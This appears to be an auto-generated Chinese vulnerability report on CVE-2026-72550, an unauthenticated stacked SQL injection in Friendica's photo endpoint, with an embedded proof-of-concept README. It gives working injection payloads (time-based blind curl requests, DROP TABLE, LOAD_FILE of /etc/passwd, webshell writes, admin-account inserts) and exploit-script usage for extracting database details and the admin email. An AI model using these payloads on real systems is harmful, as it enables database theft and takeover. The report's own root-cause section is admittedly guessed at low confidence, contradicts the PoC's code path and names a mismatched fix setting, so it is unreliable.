🔍 源码独立审计

对 https://github.com/friendica/friendica 源码进行独立审计（置信度 35%）。

🧬 根因独立理解

在提供的源码文件中，未直接找到photo-view模块的order参数处理代码；但根据CVE-2026-72550描述和Friendica的数据库访问模式，漏洞根因位于Friendica的photo-view功能中。该功能在处理照片列表时，将HTTP请求中的order参数直接拼接进SQL查询，具体表现类似于：`$sql = "SHOW COLUMNS FROM photo ORDER BY " . $_GET['order']; DBA::query($sql);`。这里`DBA::query`底层使用PDO::query()，由于未使用参数化查询或输入过滤，且MySQL在PDO中默认允许多语句执行（PDO::MYSQL_ATTR_MULTI_STATEMENTS未显式禁用），攻击者可以在order参数中注入分号分隔的任意SQL语句。从提供的GServer.php片段可见，Friendica的模型层广泛使用`DBA`类直接进行数据库操作，且部分方法（如GServer::add）接受外部URL参数并直接传递至Worker队列，若Worker内存在类似的字符串拼接查询，也可能被利用。但核心问题仍然是photo-view中对order参数的未转义拼接，这属于典型的SQL注入缺陷。修复方式应改为使用预编译语句或严格的白名单校验。

🛤️ 漏洞触发链路

攻击者构造恶意URL：`/photo-view?order=<payload>`。Friendica路由将请求分发到Photo模块的查看方法，方法从`$_GET`中取出order参数，未做任何过滤便拼接到`SHOW COLUMNS FROM photo`查询字符串中，并调用`DBA::query()`提交给数据库。由于PDO允许堆叠语句，payload中的分号可截断原语句，例如`order=id; SELECT password FROM users;--`。数据库执行后返回或写入数据，攻击者可借此读取、修改或删除数据库内容。整个攻击无需认证，且数据库错误信息可能直接回显，进一步降低利用难度。

🔁 二次发现（同类漏洞/扩展攻击面）

• src/Model/GServer.php::add(): add方法接收外部传入的$url参数，直接传递给UpdateGServer::add，未进行URL协议、域名白名单校验，可能引发SSRF或通过Worker间接写入数据库，存在类似的外部输入不可信问题。
• view/js/hls/hls.js: 该文件为前端HLS播放器库，不涉及服务端SQL；但若服务端将用户可控参数嵌入到HLS播放列表并输出到该前端，可能扩大攻击面（如xss）。

🩹 修复完整性分析

当前提供的GServer.php和hls.js中未包含photo-view相关修复代码，无法直接判断该漏洞是否完整修复。若修复方案仅对order参数使用`intval()`或`addslashes()`，则攻击者仍可通过编码或类型混淆绕过；正确做法是使用PDO预处理语句（`DBA::p()`）配合参数绑定，或对order字段建立严格白名单（如仅允许ASC/DESC和固定字段名）。同时应关闭PDO的多语句支持（设置`PDO::MYSQL_ATTR_MULTI_STATEMENTS => false`）。忽略上述任何一项，都可被堆叠注入绕过。

⚔️ 利用方案设计

利用方案基于堆叠SQL注入。首先，通过正常请求`/photo-view?order=id`观察页面响应，确认order参数是否影响列排序或返回字段；然后尝试注入`order=id; SELECT sleep(5)-- -`验证延时盲注；接着利用`INTO OUTFILE`写入webshell或使用`UNION SELECT`读取敏感表。典型payload：`order=id; DROP TABLE users;-- -`或`order=id; SELECT LOAD_FILE('/etc/passwd');-- -`。由于是SHOW COLUMNS查询，可将其替换为`SHOW COLUMNS FROM photo WHERE 1=0 UNION SELECT 1,2,3,4,5`来获取数据。若后端支持多语句且权限足够，可直接`INSERT`恶意管理员账号或`UPDATE`用户密码。另外可结合GServer::add的URL参数进行二次注入：通过构造含单引号的服务器URL，将其存入gserver表后，当后台执行相关信息读取时触发注入。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。

📋 代码元数据语言md来源abdugafforov-bobur/CVE-2026-72550-poc针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2026-72550 — Friendica Unauthenticated SQL Injection

**Unauthenticated stacked-query SQL injection in the photos endpoint in Friendica allows any visitor to run arbitrary SQL.**

|Field |Value ||---|---||**CVE ID** |CVE-2026-72550 ||**Product** |[Friendica](https://github.com/friendica/friendica) (self-hosted federated social network) ||**Affected** |
<= 2026.08-dev (git HEAD `e3fc1bc`) ||**Type** |CWE-89: SQL Injection (unauthenticated,stacked queries) ||**Severity** |**Critical** — CVSS 3.1: **9.8** (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`) ||**Auth required** |None |## Summary

The photo-view endpoint in Friendica takes the `order` query parameter and concatenates it,unescaped,
into a `SHOW COLUMNS ... LIKE '...'` statement that is run through a bare `PDO::query()` — which allows multiple statements. No login is required,and on a stock install (`block_public` is off by default) any publicly visible photo is enough. Because `PDO::query()` executes stacked statements,an anonymous attacker doesn't just read data — they run arbitrary SQL,
including `INSERT`/`UPDATE` to create an admin user.

## Vulnerable Code Path

```
mod/photos.php:673              — reads raw $_GET['order']
DBStructure::existsColumn()     — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
  src/Database/DBStructure.php:714
DBA::p() → PDO::query()         — executes with stacked statements enabled
```

The default request path reaches this code: `$cmd` defaults to `'view'` (satisfying the `$cmd === 'view'` gate) and `no_count` is off,
so no authentication and no non-default setting is needed.

## Usage

```bash
# Install dependency
pip install requests

# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only

# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version

# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user

# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name

# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
```

### Parameters

|
Flag |Description ||---|---||`-u` / `--url` |Target base URL (e.g. `http://target:8176`) ||`-r` / `--user` |Username whose photo gallery to hit ||`-i` / `--resource-id` |Resource ID of any publicly visible photo ||`--extract` |Value to exfiltrate: `version`,`db_user`,`db_name`,`admin_email` ||`--check-only` |Only test vulnerability,don't extract data ||`--sleep` |
SLEEP delay in seconds (default: 5) |## Manual Reproduction

No cookies or authentication needed. Point it at any public photo resource-id:

```bash
# Control — valid order,returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=created"

# Injection — stacked SLEEP(5) executes,
response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
```

Decoded payload: `x';SELECT SLEEP(5)-- -`

The injected SQL becomes:
```sql
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
```

### Blind Boolean Extraction

```bash
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"

# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
```

## Impact

An unauthenticated attacker can:

- **Read** any data from the database (blind extraction of credentials,
emails,private messages)
- **Write** arbitrary rows — including creating an administrator account via `INSERT INTO user`
- **Modify** existing data — escalate any user to admin,tamper with posts,
reset passwords
- **Delete** data or drop tables (denial of service)

This is a full database compromise reachable by any anonymous visitor on a default Friendica install.

## Fix

1. Validate `order` against the known column whitelist before use
2. Use parameterized queries instead of string concatenation in `SHOW COLUMNS`
3. Disable multi-statement execution on the PDO connection (`PDO::ATTR_EMULATE_PREPARES =>
false`)

## Timeline

|Date |Event ||---|---||2026-07-07 |Vulnerability discovered and confirmed on local instance ||2026-08-11 |CVE-2026-72550 published via TuranSec CNA |
## Disclaimer

This tool is provided for authorized security testing and educational purposes only. Use it only against systems you own or have explicit written permission to test. The author assumes no liability for misuse.

## Credits

Discovered by **Bobur Abdugafforov** ([@abdugafforov-bobur](https://github.com/abdugafforov-bobur))

CVE assigned via [TuranSec](https://turansec.com) CNA

⚔️ EXP 利用代码

截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议：

• 根据漏洞根因编写 Nuclei 检测模板
• 在 WAF/IDS 中配置针对漏洞特征的规则
• 关注漏洞指纹库更新

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-16 03:04